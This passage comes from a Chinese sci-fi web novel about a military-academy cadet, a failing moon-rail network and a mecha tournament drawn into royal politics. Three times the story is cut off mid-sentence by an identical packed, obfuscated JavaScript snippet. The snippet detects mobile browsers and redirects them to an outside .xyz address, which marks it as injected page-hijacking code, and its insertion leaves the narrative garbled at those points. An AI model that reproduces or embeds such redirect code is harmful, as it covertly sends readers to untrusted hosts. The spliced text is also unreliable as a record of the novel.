“等她想说,自然就说了。”把头轻轻靠上alpha的肩膀,尹霄叹气,“只需要让她知道,无论发生什么,我们都在她身边。” “……”感觉到手掌被捏了一下,尹霄了然,“你说过了就行,最近多看着她点儿。” 飞艇逐渐消失不见,两人也陷入沉默,比“池泷貌似要逞英雄”这件事更紧迫和难以应对的,近在眼前。 18.第 17章 一觉醒来,池泷觉得自己好像做了一个长长的梦,恍惚间却记不清楚梦里发生了什么。 脑袋空空,睁着眼躺了一会儿,她翻身坐起,找到被扔在床头的随身压缩包。 刚才在飞艇上洗漱的时候,将储存条从口袋转移到了压缩包里,这种压缩包可以将大体积的物品压缩至一个1cm*1cm的正方体,挂个吊环甚至能当钥匙扣随身携带。 和林息来救自己时开的“凌光号”采用了一样的技术,只不过机甲压缩的成本比这种压缩包高多了。 然而这种压缩技术并没有被普及,否则池泷出任务也不会仍旧带着自己的小破背包。 首先,是压缩技术的局限性,物体的密度不同,因而不可能将任意大小、不同种类的物品都压缩到钥匙扣那么大,池泷的压这个缩包顶多携带40cm*40cm体积的物品,压缩机甲则使用了高度机密的其他辅助技术,才能将机甲压缩在更小的体积里。 其次,也是主要原因,是这种技术的复杂性和压缩包材质的特殊性。压缩包的材料来自于军部几年前的一次外星探索,意外发现一种植物可以随意变化纤维和细胞,使自身大小发生变化,充满灵活性,但因此,这种植物极为狡猾、难以采摘。 研究材料的不足,使压缩技术筚路蓝缕、发展艰难,但哪怕有技术,生产材料也十分短缺。 综上,最终导致压缩包成本过高,哪怕这样一个小小的压缩包也不是普通人能负担得起的。 作为一直享受星联补助的军校预备役机甲师,池泷也是省吃俭用了很久,才买了这样一个低配版,尽管性价比不是特别高,她也十分珍惜,好在日常收纳够用了。 从包里摸到那根储存条,凹凸剌人的感觉让池泷瞬间回归现实。 可能是充分的休息加上好友在侧的底气,池泷终于真正地安定下来,和亮银闪光的其他储存卡比起来,这根哑光黑面的不算漂亮,如果不是被刻成了市面上通用的储存形状,单从外表看,也难以想象这种丑东西竟然还会有人用,一般只会作为滞销品放在仓库。 握着这根其貌不扬但沉甸甸的“战争钥匙”,她仍旧感觉思维空荡得很,想不出任何头绪。 长叹一口气,干脆又将东西收了起来,反正静观其变、看看能不能有两全其美的办法,总是没错的。 好在这个东西只有自己知道,想到这,池泷又长长舒了一口气,从书架上找了个吊环,将压缩包挂在了自己的光脑上。 还挺可爱的。 晃了晃这个新增的小挂饰,池泷才打开光脑。 果不其然,朴人间发了许多未读信息,大约就是询问自己是否安全、到了哪里,最后那句“阿弥陀佛,快点回我吧大姐!”是真的看出来他着急了。 毕竟没有任何宗教信仰的他可比自己大十几岁。 其实池泷和朴人间的相遇算得上戏剧化。 朴人间有次在街上帮一个alpha小孩找父母,因为孩子一直哭闹,他没办法就抱着孩子去找星警,正好被池泷撞到。 在池泷眼里,大金链子、胡子拉碴、戴着墨镜、满头脏辫、格子衬衫、前兜有烟、破洞短裤、人字拖+在怀中不断哭闹的孩子=人口拐卖,于是正义的军校生出手整治社会秩序,一顿胖揍后将他扭送到警察局。 经过朴人间自带的针孔摄像记录、小孩口述及警察的说明调解,正义的池泷接受了道德的“审判。” 尴尬地不停道歉,她掏出光脑,准备带着朴人间去医院,却被对方挥挥手说算了,看着小孩被警察带走,才顶着裂纹浅棕□□镜下的紫色眼圈,叼着根没点着的烟走了。 留下池泷原地凌乱,望着那头被人弄散的艳紫短辫,她深感自己眼拙竟然看不出此人身上还具备如此侠气! 后来小队做任务赚外快,尹霄通过熟人找到黑街上最有名的掮客,那时候他已经换了一副新的橙绿□□镜,行头没啥大变化,四人相望,池泷手足无措。 掮客并没有趁机报复或者将他们拒之门外,好像那场挨揍的误会从没发生过。 日子长了,池泷才知道,原来朴人间曾经是央星军队的军人,有次出任务,omega和孩子在家,因为一场恐怖袭击丧生,从此退离军队,一蹶不振。 黑街上人口贩卖尤其是儿童贩卖极为猖獗,还是朴人间来这儿开店后才被整治得干干净净,没人知道这个吊儿郎当的人怎么做到的,反正黑街上所有的孩子都认识他,愿意给他使唤,送个信、收集个情报什么的,能拿到吃喝的东西,或者是钱。 一次喝酒,池泷再提起初遇的事儿,一向邋遢浪荡的大哥坐在屋顶,酒杯举向月亮,头一回没流里流气地笑,反而平述道:“孩子的事儿,怎么拉一把都不算错的。” 军校的图书馆里,有这场袭击的记录,最有名的画面,是一个omega在断壁残垣里挖了一个孩子大小的洞,他从等待到呼喊,过了很久。 当搜寻机器人发现这里时,那位omega半身压在石板下,和怀里的孩子一样早就没了气息,那样大的一个洞,开在袭击的边缘地区,但凡一个路过的人,或者搜寻机器人,从洞里拉一把,那个omega女孩今年或许就能上初中了。 然而这并不是唯一的、令人惋惜的事,这场救援当中,搜寻机器人好像出了很大的问题,导致救援时机延误造成了诸多悲剧。 这件事轰动星联,随后机器人公司发布官方声明,称恐怖分子入侵了机器人的设定程序。 然后……就没有然后了,大多数尚存的家庭得到了赔偿。 时间冲淡了大多数人的记忆,在十几年后,一个脏兮兮的屋顶,再次被当事人之一的掮客提 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14756363|155610||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起。 难得看到老大哥的焦急,池泷心中有暖流划过。 刚想给朴人间报个平安,突然发现“linxx”也发来消息,只有一句话,“一周前已抵达比熊星。” 顿了两秒,池泷明白了林息的意思。 这才给朴人间回复:“安全抵达央星,委托确实很难,不愧挂了两年。因此我没做完,正好白簇他们旅游到比熊,我想起走之前你说的,就干脆找她去玩了一个周,想着等开学前回来再告诉你,没想到出了这事。原谅我吧,朴哥,你是我唯一的哥。” 等了几秒没见朴人间回复,池泷想发一个“?”过去,却发现已被对方拉黑。 都多大人了,为什么这么幼稚? 眼角忍不住流露笑意,池泷想,等开学后得去街角的酿酒店买瓶“朝颜梦醒”才能被原谅了。 一路下楼,夜幕降临,其实池泷也没睡多长时间,却神清气爽。 她跟家政机器人要了晚饭,打开电视,新闻正在报道乔城的爆炸,意外地是,篇幅并不大,仅仅在新闻串报中提了两句,更多的是军部对于王室随意出兵的谴责,以及对此次事故调查的原因。 “月轨存在的缺陷在日积月累后爆发”。 但所幸央星已经及时找到缺陷原因,接下来将对剩余月轨进行紧急更新维护。 说不上来是什么样的心情,池泷摁死电视,没想到,几十年后,月轨工程再次从乔城开启。 这就是用于交换的、月轨的秘密。 想起那座大型地底书库和自己光脑中拍摄的照片,池泷对此早就了解,如果一种物质能够自动力运动,能量守恒,它所付出的代价也是巨大的。 也就是说,月轨表面上看起来光鲜亮丽,实际早已破败不堪,日积月累,只等一个时点,就会全面溃散。 好在,陶至及早发现了这件事,并和乔郦的人一起研究出了对策,他们找到了月轨矿石的伴生矿,一种在乔城很普遍的土矿石,用技术手段加以融合修补,就能再用上一百年。 新闻中一闪而过的星球残骸,让池泷眼睛泛干,那些引铁和伴生矿,在星联中,不知道还能剩多少。 40多年前,乔郦的人,交换人质时留下了这个秘密,想用它作为反抗央星、争取自由的据点;40多年后,乔城的人,交换人质时公开了这个秘密,用自我毁灭换来星联一百年后的前途渺茫。 难怪那个老人说“历史是一个循环。” 这也是那群人唯一能做的报复了。 靠在沙发靠背上,望着头顶的天花板,池泷再次脑袋空空,心中意外地无悲无喜无起伏。 过了一会儿,回魂的池泷伸出手指数了数,知道自己去过乔城的人也就这几个,等着还要跟去吃饭的那俩串下口供。 然后——没几天,就要开学了。 19.第18章 大三下学期就像以前的每一个学期那样,平淡无奇地开学了。 晴朗的天气,看着没什么变化的校园和宿舍,池泷却感到如隔三秋的踏实。 开学前三天,擎叔和擎晴都给池泷发了光脑转款。 尽管池泷再三强调过,自己可以出去兼职赚到学费和生活费,但这俩人,尤其是擎叔,总是怕出去兼职会耽误她学习的时间。 为此他在擎晴和池泷过来央星后,特意将自家的房子改成一个托管所,日常照顾一些老人孩子赚一点星币。 池泷也没敢跟擎叔说自己还接过委托,不然他肯定要生气:为什么学生要做这样危险的事。 转账备注是“给女儿的零花钱”,2000星币在央星只能勉强度过半个月,却也是擎叔努力一暑期托管所的成果。 而擎晴的转账虽然没有备注,但肯定包含着池泷的学费。 因为池泷来自于偏远地区,军校给予她可以分期付学费的权利,同时学费也有所打折,一个学期将近10000星币。 跟擎叔不一样的是,擎晴对于池泷的“外快”一清二楚。 一是因为两人就差2岁,赚钱渠道的重合率较高,根本瞒不住; 二是擎晴知道池泷一般不会过于冒险,她认为偶尔出去“闯闯祸”也是段不错的人生经历; 三是虽然擎晴作为科研院的实习研究员待遇不错,包吃包住,但毕竟是实习生,除了生活成本外,有些研究材料还需要自行购买,池泷外出做委托时可以帮她采摘或者代购,能省下一笔二道贩卖的中介费。 军校的基础设施堪称完美,再加上军部的偏远地区补助、专业补助、奖学金补助,还有池泷的委托收获,她基本可以过上一个“衣食无忧”的生活。 省省的话,还能修补机甲、买点设备啥的。 除此之外,擎晴还发来一份《求职辅助》的电子杂志。 先将钱存入特意开设的第二账户,里面除了每学期家里人给的星币外,也有池泷自己做任务时攒的星币。 池泷的第一账户是学校账户,里面一般只放一些日常零花和机甲改进的钱。 点开那本电子杂志,光脑上浮现一面书本形状的全息显示屏,上面花花绿绿各种招聘或者求职信息,有些宣传费充足的单位还会使用动画立体形象。 比如翻到第三页时,池泷眼前突然炸开一个小礼炮,在欢快背景音乐下,五颜六色的全息纸张小方块“落了”她满头满脸,一群最新型号的迷你机甲飞了出来,在眼前逐渐聚拢成“TS”的标志,醇厚的低音传来“科技之源,未来之源。” 实际上那些彩色的纸片并不会真的撒得到处都是,在接触到皮肤时,会浮现一张价值10W星币的机甲购买优惠券,截止日期到今年年底。 虽然这张优惠券对比价值上千万的机甲,确实是杯水车薪。但池泷仍旧点了接受,做人能不能赚钱不是自己可以控制的,但做梦可以啊。 知道擎晴给自己订阅这本杂志的用意,这是星联市场占有率最高、行业覆盖面最广的求职杂志,大三下学期,基本所有大学生都开始进入求职季。 军校有天然的优势,从中央到地方的军部会优先选拔机甲系的军校生加入外星探索小队,也就是被命名为“雄鹰”的突击军,为联盟效力。 这也是为什么所有军校都会让学生从大一开始进行小队分组的初衷,磨合四年的五人只要一毕业就可以分配到星联各处,直接开始探索作业。 基本所有机甲系军校生都会选择这条路,为人类开辟生存领域。 高风险却伴随着名利双收的高收益,只要能活下来,名誉、财富、美人、仕途,都唾手可得,正中野心勃勃的年轻军校生下怀。 加上相较以前,旷日持久的实践带来的、逐渐成熟完善的探索体系,已经大大提高了个人生存率,所以基本所有的机甲系军校生都会将加入突击军做为职业第一选择。 除此之外,军校生的第二选择,就是加入守卫军队。 尽管是第二选择,但选择这条路的机甲系军校生基本寥寥,守卫军由各地军部直属领导,与各地暴力机关关联合作紧密,负责保卫当地人们的生命及财产安全,所以大多数人觉得守卫军就像更加强力的地方警察。 而且,因为不像突击军那样被特殊命名过,再加上守卫军中的大多数成员并非来自于“王牌专业”,而是由其他带有辅助和技术性的军校生组成,因此守卫军也大都被认为只是突击军的后勤储备人员。 当然,除了这两条路以外,其他行业和其他职业也大都会优先欢迎军校生的加入,毕竟军校的口碑和学生实力是无可争议的优秀稳定。 从小的时候开始,池泷就有明确的就业规划,就是加入守卫军,还是偏远地区,比如荒星,的守卫军。 她曾问过擎叔和擎晴,自己的选择会不会让他们觉得资源浪费和不够值得。 因为考上央星军校的王牌专业,几乎所有人都认为她应该加入央星军部的突击军,荣华富贵。 但家人只是摇摇头,说尊重她自己的意愿,擎晴开玩笑说要是心里过不去,干脆加入央星守卫军,她就更能天天压榨池泷了。 更可贵的是,进入大学,池泷一度怕影响同学的未来规划而不敢轻易找人组队,却意外遇到跟她有同样意愿的两位队友。 尽管以那俩的背景和实力,甚至不需要做任何工作就能富贵一生。 但在听说池泷的打算后,二人异口同声地表示找到了“人生目标”,要跟她共同进退,三人对这样的职业规划也选择了保密。 不然班主任真的会找他们谈心感慨“浪费大好青春”的。 到守卫军招人的那页,池泷仔细阅读了选拔条件,感慨除了加入央星守卫军,自己的成绩可能稍微有点不太够以外,其他地方的守卫军,对于机甲系军校生的要求竟然如此之低! 稳了,自己设想过的、安稳、美好、平静的生活已经近在眼前。 沾沾自喜的池泷沉浸在梦想似乎马上就能实现的舒心中,突然光脑蹦出来一条新闻提示“重磅!三皇子转学中央军校肯定是因为这件事!” 标红加粗的字体夺人眼球。 放在以前,池泷对于这样哗众取宠的标题绝对不屑一顾。 而且自己一个小小平民,过好眼前已经谢天谢地,才不想关心头顶上大人物们的小举动。 可鬼使神差地,手指碰了一下这条信息,全息屏幕立马发生转换,不停刷屏的弹幕和评论再次将池泷糊了满头满脸。 大多数是在闲磕牙。 “最美皇子转学,我是不是有希望嫁入皇室了?” “拜托,人家是alpha,AA恋不会有好结果的。” “我可以为爱做下面那个你懂的!” “为爱,我看你是为钱。” “呵,说句不好听的,这位在皇室可不是什么香饽饽。” “那也比有些酸货强啊~” “服了,这群omega,至于为这么个玩意儿这么花痴吗?” 当然,也有一些或真或假的说法。 “皇室进军部直属学校,这是准备插手军部了吗?” “你好,开门,楼上□□。” “装毛啊,谁不知道皇室有自己的内部学校,非来这里,显着他了?” “我警告你对我老公、帝国第一美人尊重一点!” “还有谁记得他有个未婚夫在机械系啊……” “拜托,那位怎么看也不像是个好伴侣啊,天天冷一张脸。” “嘘!同窗慎言!小心机甲系的人看到来抽你!匿了。” 目光瞥向窗外,外面不知道什么时候开始重云聚涌,太阳被遮挡,小风忽起,几分阴冷。 没看多久,温柔的爵士乐曲响起,吓了池泷一激灵。 原来是尹霄打了通讯过来,池泷接起,下一秒就听见他高昂激奋的询问。 “池姐,你看新闻了吗?斯特拉·托亚要来了啊!” 顿了顿,池泷嗓子有点干涩,她清了清嗓说道:“嗯……看到了。” “我的天,军部怎么同意的啊,本来王室军之外,我们还有点独立性,不会真要融合了吧。” 明明能清晰听见光脑传出来的声音,池泷却觉得这些话一句也理解不了,她没有回应。 “不要啊,那我和阿簇在这里折腾什么,好讨厌啊……昨天明明又为这个吵架了呢。” 听见好友低落的声音,池泷才略微有些在意,她想了想,分析道:“说不定真的就只是来上学。” 毕竟众所周知,这位皇子殿下凭借出色的外表,大多时候只是扮演着皇室亲和的门面,实际上父族没落,女皇对他也不太重视,很少有建功立业的机会,基本是个“小透明”的存在。 就算真的要插手军部,派这样一个人来,也难以有什么建树。 因为军部在中央军校的影响力历久弥新、盘根 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14756364|155610||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 错节。 “我才不信,战争贩子的野心是刻在家族基因里的。”尹霄不屑的声音传来,光脑对面传来碰撞声,估计是他还在翻看新闻,“还有说为了会长来的,更扯淡,这个家族就没有什么恋爱脑传统,他们怕是忘了这位殿下的父亲是怎么死的了。” 突然尹霄的声音一顿,带着几分小心,“而且现在也没明确说三殿下的订婚对象是谁啊,好几个备选呢。” 池泷没接话,她发现窗外的云朵越来越多,沉沉地好像下一秒就要掉下来。 “只不过因为林家家主和三殿下父亲曾经是十分亲密的好友……”声音越来越小,慢慢地尹霄也闭上了嘴。 果不其然,“轰隆”一声后,大雨倾盆,硕大的雨点砸在窗户上,噼里啪啦的声响有节奏地传来。 “估计等会开学典礼要改成礼堂了。”静静看了一会儿窗外不断破碎的雨水,池泷空无一物的思绪被尹霄的话再次拉了回来。 “嗯,估计很快就通知了。”池泷轻轻接道,停顿了几秒,她对尹霄说,“不管这件事怎么发展,我们一定也能按照原计划那样。” “可是……”对面犹豫不定。 一定是开学前的那次聚餐让两人受到了影响,或者是从今天的事中嗅到了什么,才让尹霄如此不安。 “但是我想……”隔着光脑,池泷犹犹豫豫,刚准备开口。 却听对面也传来一声:“池姐,我想……” 一时间两人陷入沉默,随即池泷笑了一下,她率先询问:“怎么了?昨天吵得很凶?” “嗯,昨天白朝清都拍桌子了,”尹霄的声音听起来失去了活力,很沉重,“绝不放人,无论如何也要让阿簇毕业后加入王室军,为陛下效力,哪怕她的结婚对象是不被陛下喜爱的我们家。” “老白怎么样?”池泷心下了然,估计是长久的努力换不回白簇的回眸,白家着实急了。 “差点和她爸打起来,我给拉住了,”尹霄说完还头痛地“啧”了一声,“白朝清挨了两拳,鼻子都打歪了,还一脸兴奋,你说他是不是个受虐狂啊?” 鼻子里哼笑了一声,池泷回复:“看到自己精心打造的武器青出于蓝,激动了吧。” 白家和尹家长达十多年的拉扯谈判,终究是前者占据了上风。如果不是陛下首肯,那位一直害怕尹家会影响自己忠诚度体现的白家家主怎么会愿意接受尹霄呢? 那位孤傲清高、眼里揉不下沙子的陛下,出人意料地退后半步,加上三皇子的到来,难怪尹霄也开始害怕,上层的家族站在山顶,或许更能提早看见远处汹涌而来的风雨。 “所以那天我犹豫了很久——”尹霄低落的声音传来,只是还未说完,就被池泷打断了。 “刚好我也想参加军技大赛。”心中的事落了底,就是这样巧合,三人再次达成了一致,一如大一那年。 本来他们三人,尹霄和白簇是想借着军部的东风,远离央星的旋涡,过自由的日子;池泷就仅仅是想去边境的偏远地区发光发热,守护小家和大家安全。 因此三人在大一出了一口被造谣的恶气后,每轮期末都开始控分,保证分数既不出彩、也不垫底,毕业时不参加军技大赛,直接加入荒星守卫军。 不会有惜才如命的老师特地谈话、也不会有榜下捉人的贵族威逼利诱,直接偷摸、安稳毕业。 没想到计划赶不上变化。 现在三人都有了必须要参赛的理由。 尹霄和白簇是为了应对家族,如果进入前三,按照规则,他们可以选择不被人打扰的生活。 池泷则是为了见军部部长一面。 林家和军部,在天秤的两端,摇摆不定。 然而参赛,就意味着他们将走入大众视线,不确定的因素就会变多。 没有听见回音,她忍不住柔和了眉眼,声音却愈发高调起来,“我有我自己的事,不是只为了你们,再说,得了第一,就算真有人看我没背景,非要我留在央星,不还有你俩护着我么。” “要点儿脸吧,咱们才三个人,能参赛已经是上天保佑了,”听到这话,对面终于有了开玩笑的心情,“给人点面子,保二就行。” “哈哈哈哈哈,”两人不约而同地笑出声。 约好了下午礼堂见,便挂断了通讯,池泷继续望着窗外,大雨依旧没有要停下的意思,反而愈演越烈了。 可惜,本来应该是个明朗的晴天。 池泷忍不住想道。 20.第19章 果然没一会儿,各位学生就接到了开学典礼地点由操场改为礼堂的通知。 军靴在光洁的大理石地板上发出清脆的磕碰声,石砖的墨蓝水纹和灰白冷峻的墙壁相得益彰,天花板用不同颜色的灯拼凑出巨大的军徽和校徽,大小几乎一样,并列而排。 大门直面的是一块面积不大的小高台,不需要多用力就能跃上去,但最多能站20个人,它的制作材料和机甲锻造所用的钢铁一致,除此之外,礼堂没有其他装饰。 从外面看礼堂不大,但内里却能容下几大学院上万人,估计也是用了精贵的空间压缩技术。 更让人神奇的是流程,虽然经过了多次开学典礼,池泷已经不会像第一次参加时那样震惊。 但这个叫礼堂的地方,没有桌椅,来的人都直戳戳往那儿一站,听完就走。 尽管这个世界真的有开学典礼,但实际上就是全场统一站军姿,等着严肃的校长指正错误、下达命令后,再由淡漠冷酷的军部长接着发出简短鼓励、提出要求,然后各回各家就行。 军部长甚至都没到校,只是开了个远程视频而已。 前后不过半个小时。 生硬、干瘪,也精简、高效。 却足够让alpha们趋之若鹜了——活脱脱一股军部做派的硬A风。 这次的开学典礼也一如往常。 这么多年,军部长的外表好似都没变过,声音依旧冷酷无情,池泷再次感慨,这座军校真的到处都和这位部长一模一样。 只是今年他在新学期提出了新的要求:军校大三学生必须参加军技大赛,机甲系参赛率100%,其他专业视专业课决定,但不得低于20%。 这无疑就是暗示:所有大三学生都给老子动起来!参赛小队每一个位置都必须从各专业精挑细选! 池泷稀奇地挑了挑眉,这是第一次军部长提出如此硬性的要求,往年都是统一要求几大学院学生“提升身体素质、提前职业规划”而已。 只不过—— “今年三殿下小队转学过来,正好也是大三,他们也要参加大赛,和我们竞争吗?” 总有人想踢踢这个铁板一般的部长。 说话的是机甲学院机甲系现总积分排名第一的小队“犬神”的队长瀛广鑫。 而校长听见这句话后,眉毛明显地皱了起来。 军部长仿佛没有听到这位学生的提问,只是轻抬眼皮,把机甲系大三学生队伍从头到尾慢慢略了一遍,深邃的眼神让池泷无端觉得压力倍增。 果然,队伍中的大多数人也不禁皱起眉毛,头很不得低到胸口。 说起来,三殿下转学的事,是学校在发开学典礼改地点的通知最后,提了一句:斯特拉·托亚等5名转校生将于本学期转至中央军校机甲系三年级。 仅此而已,没说要举办什么仪式或者活动,仿佛只是转入了五个普通人。 “只要是机甲专业大三学生,就要参加,是听不懂命令吗,这位学生?”打破军部长不予回应的沉默,校长做出了回应。 军部长才终于将眼光放到发言者的身上,眉间的竖纹明显锋利。 所有人都知道这位高官不喜欢重复,尤其是他的明确命令。 “明白,长官,只是皇室内学向来是保密的,我认为不公……”瀛广鑫的声音依旧不高昂、却也不退缩,代替大多数学生问出了最关心的的问题。 “未知星球的未知生物或者非生物就会让你退缩吗?”可能是赞赏瀛广鑫的勇气,也可能是为了解答大多数参赛者的疑问,军部长终于冷冰冰地回复,只不过说话间眼角闪过的轻蔑清清楚楚,“军部不会接纳还没起飞就先害怕的‘雄鹰’。” 很好,池泷心中无语,看着周边因为这句话蠢蠢欲动、跃跃欲试的同学,她感慨,论钓鱼还得是历经风浪的部长大人,一个眼神、一句话就把这群alpha拿捏。 没有人发现,军部长压根没说“公不公平”的事,他岔开了话题! 就那么想让自己的门生和王室门生直接硬碰硬?池泷双手环胸。 视频挂断了,开学典礼结束。 光脑传来消息提示,池泷看了一眼是这学期的校历、课表和军技大赛的备赛须知。 也是考虑到现在求职季的开始,这学期几乎没有任何课程,教务处建议学生可以选修一门“职业规划指导”,以方便找到就业方向。 剩余的时间都可以用于实习,并撰写一份真实、丰富、有效的实习报告。 当然,如果选择在实习期间参加军技大赛,那就无需这份报告了,毕竟每个人的比赛情况就是最好的“实习报告”和“面试简历”。 跟实习并行的军技大赛将在两个月后正式举行,这两个月,参赛者需要去学校指定地点完成能力测评和赛前体检,以保证能在大赛中活下来。 而合格者将在检查完成后的半个月参加初赛海选,入选的二十个小队将参与学校复试,最终通过复试的三组小队会参加全星联的军技大赛,和来自星联各地军校的队伍一决高下。 月轨12线,线线都有一所重点军校,和无数普通大学。但后者能通过赛前检测的小队个数基本为0,前者倒是可以选出三组小队,可又不是所有重点军校能负担得起参赛费用。 比如池泷的故乡荒星,就是地方财税只收不支,能勉强供得起一支队伍前往央星比赛也需要至少25年。 加上中央军校的三支队伍,往年最后的参赛队伍也只有15组左右。 按成绩排名,全联前三名具有优先选择就业单位的权利,也就是说,星联里存在的所有合法职业和合法单位都可以被随意挑选。 这种选择具有高度的独立性和绝对性,又处于全星联的监督下,因此不受包括军部和王室在内任何势力的影响,一旦选择,单位必须接受。 只不过从举办以来,全联前三都是各所军校的机甲系小队,尤其是央星军校,几乎拿到过每一届的冠军,而这些人,无一例外最后都进入了“雄鹰”。 这就是为什么白簇两人要参加军技大赛——为了毫无阻力地加入荒星守卫军。 而对于池泷,她则更想用这个权利换取见军部长一面。 毕竟前三名的小队,因为其被公众认可的精彩表现,只要是不过分的要求,一般都会让大赛组委会和那位部长“网开一面”。 虽然这么多年,也没人干过就是了。池泷忍不住摸摸脑门上并不存在的汗水。 而且和以往不同的是,这一次,三皇子的加入就像往暗沸的油锅里加入了一滴水。 星联王室、军部和议院一直是三足鼎立的状态。 王室有自己的武装力量——王室军,主要由女皇从各个贵族家族中挑选,加上一小部分的杰出平民天才。 军部则掌握包括军校在内的新生军事力量,大多数由百姓学生组成,还有一些末流贵族,明面上也归王室管辖。 议院成分就很复杂了,它有老牌贵族的遗孤、有新星贵族的势力、有王室远亲的参与、也有平民百姓的团体。虽然并无自身所属的暴力机构,但掌握着星联的财政大权。 在它的撮合下,前两者共同构建了突击军、守卫军,但其中来自军部的军人数量居多,军费由议院承担。 而为了纪念过去王室在百年战争中的功绩,这三者默许王室军独立存在,议院承担大部分开销,剩下的则由王室自理。 可能是DNA中就镌刻着优秀的军事基因,再结合王室军天生的排他性和训练的神秘性,无论是军备还是人员,这支军队都在精不在多,一度压倒军部,隐隐独大。 因此,军技大赛成立了。 据说军技大赛本来是议院为了撮合它俩而提议设立的一个绝对独立、全民监督的平台,没想到在军部若有若无的操纵和宣传下,反而成为军部网罗力量的主要来源。 而王室一直以来是不屑于参加大赛的,因此,现今二者呈现出较为平衡的对峙局面。 如果这次三皇子小队进入决赛又取得了胜利,虽然明面上他来自中央军校,可谁都知道这支小队,从建立到训练,都是妥妥的王室军派,那就会啪啪打军部的脸。 如果他又选择入驻军部或者军部相关部门的话,无疑将会把平衡局面扯开了一个小口儿,那王室或许就会像跟在受伤猎物后面的鬣狗,一不留神就将猎物撕下一块血肉。 当然军部不可能如此束手待毙,拒绝不了“领导”明面上的插手,在各地军校中却首次下令要求所有大三学生参加比赛。 要知道,以前就算是机甲系的学生,也只是“鼓励”、“支持”、“提倡”而已。 军部估计胜过王室的信心还是有的,但成千上万VS王室五人组,这位部长压根没想给王室留面儿。 到底被惹得多毛啊,这次三殿下的转学,确实让这位看不出严肃之外神色的部长不爽了。 不过正如网上有人说的那样,池泷也疑惑,如果王室想要集权而选定撕裂军部的排头兵,这么重要的任务,为什么会选一个父亲过世、母亲不疼、没人支持的“花瓶”皇子呢? 无疑是“羊入虎口”,难道王室也自信最差小队也能出人头地?抑或是三殿下小队其实强的可怕? 这就无从知晓了。 但这并不会困扰池泷,她认为也不干她什么事,毕竟社会结构顶部那群人的做法,自己这样的小人物看不透才是正常的。 而且,自己也没想过要和他们有什么交集,还是过好眼前最重要。 走到礼堂门口,白簇和尹霄像往常一样站在门口的右边。 一个纯黑牛皮背心、马靴工装裤,背靠墙壁,红发似火,马尾高高扎起,随风舞动,金红双眸盛着不容一切的张狂,连随意飞扬的发丝都不敢沾惹冷白脸庞半分,英气逼人。 一个白衬背带西装短裤,阴沉的天气也没阻止灰发蓝眼闪闪发光,雪肌鹅蛋小脸,似乎摸一把就能沾一手的甜腻,细短的手指正百无聊赖地拨弄着背带上的鎏金扣子。 金童玉女,养颜得很。 不同的是,这次白簇对面站着一个人。 灰白的刺毛短短支棱在头顶,额头处包裹着一根金黄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14774574|155610||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的飘带,孔武有力的身体,右臂上的青筋肉眼可见地轻微发紫,宽松的黑色练功服也绷紧了,才将那两条大腿勉强包住。 那些状若无视、实际是不敢多看一眼的alpha们在走过白簇身边时,个个不约而同地加快步伐,甚至连站在白簇对面的人也不敢多瞄。 就更让这个站姿挺拔的人显得—— 稀奇。 “我一直都把你当作最有力的竞争者,但在这件事上,我们或许可以达成一致。” 熟悉的声音,池泷走近三人,但那个人并未朝她投来任何目光,一直紧紧盯着白簇,眼里迸发着耀眼的兴奋。 “只要我们达成联盟,王室的队伍绝不可能取得冠军,至于第二和第三名——”瀛广鑫的声音逐渐变小,亮银色的眼眸也终于给了池泷一个眼神,剩下的话却好像没打算再说下去。 反而是白簇,在池泷走来后,终于从懒洋洋靠墙远眺的姿势站直,没多给瀛广鑫一分注意,大拇指朝外指了两下,说了一句:“酒。” 怕瀛广鑫觉得尴尬,池泷主动朝她点点头,没想到对方回了一个大大的微笑,反而让池泷一愣。 “要让他们连决赛都可以进入不了。”笑完的瀛广鑫倒是没再顾及池泷在场,抓紧将没说的话说完,然后又冲露白簇出一个微笑,“你觉得怎么样?” “知道了,你总得让我们考虑一下吧。”白簇不耐烦的眉头逐渐皱起,尹霄也不胜其扰,没好气地出来打了圆场,“我们还有别的事情,先走了。” 白簇也站直身体,看起来极为体贴的瀛广鑫丝毫没有被冒犯的不快,反而伸出胳膊送了送。 池泷直接带头朝校外走去。 转身没走两步,就听到身后传来尹霄的叹气。 池泷赶忙回头,果然是白簇离开前,突然一只手揪住瀛广鑫的衣领,另一只手指指池泷,然后一脸不耐地朝手里的人说:“队长。” 接着就像扔掉什么难以入眼的垃圾一样放开了手,牵起尹霄朝校外走。 幸好没打起来,池泷长舒了口气,想跟瀛广鑫说声抱歉,却发现对方圆溜溜的眼睛此刻张到了最大,迸发出的兴奋犹如实质,呼吸急促,满脸通红。 “你看到了吗,她揪我领子的时候,我甚至来不及反应!”故意压低的声音却又急又尖,明晃晃的大眼里充满了慕强和兴奋。 